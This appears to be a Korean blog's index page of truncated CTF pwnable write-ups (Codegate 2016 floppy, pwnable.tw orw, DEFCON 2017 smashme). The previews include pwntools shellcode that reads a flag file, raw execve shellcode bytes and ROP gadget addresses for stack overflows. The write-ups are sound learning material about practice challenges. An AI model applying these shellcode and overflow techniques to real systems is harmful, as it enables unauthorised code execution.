분류 전체보기
-
-
-
Codegate 2016 floppyPwnable/CTF 2017. 6. 10. 01:53
함수 에필로그 부분이 leave ret이 아니다. 이 문제의 중요한 부분이 에필로그부분이라고 할수있다. 다른거 없고 이 에필로그로 인해 바뀌는 esp ebp ecx edx 레지스터들을 gdb로 보면서 계산하고 core gdb로 분석하면서 계산하면서 풀수있다. 그리고 오버플로우 부분이있는데 ebp 전에 ecx edx 등 레지스터들이 끼어드는 바람에 ret까지 오버플로우를 할수가없다. 그래서 esp를 조작하여서 풀수있다. 최대한 빨리풀고 다른 문제를 풀자는 마음으로 시작하여서 함수도 안 쓰고 코드를 더럽게 짯다.다음에 시간 있을때 깔끔하게 만들어야겠다 ㅎㅎ 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647..
-
-
-
pwnable.tw orwPwnable/Pwnable.tw 2017. 5. 31. 02:55
context로 운영체제와 BIT 정함 (64bit = amd64)pushstr로 열려고하는 파일 이름을 esp(스택)에 push함open(esp,0,0) 파일을 열음read로 파일을 읽어옴write로 읽어온 내용을 출력함 1234567891011121314from pwn import * p=remote("chall.pwnable.tw",10001)context(arch="i386",os="linux") print p.recvuntil('shellcode:') payload=shellcraft.pushstr("/home/orw/flag")payload+=shellcraft.open("esp",0,0)payload+=shellcraft.read('eax','esp',100)payload+=shellcraf..
-
-
DEFCON 2017 smashmePwnable/CTF 2017. 5. 2. 23:16
123456789101112131415161718192021222324252627282930p=remote("192.168.146.133",9001)elf=ELF("./smashme") read_plt=elf.symbols["read"]bss=elf.bss()+0x20 shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" shell_rsi=0x004015f7shell_rdi=0x004014d6shell_rdx=0x00441e46 filt="Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..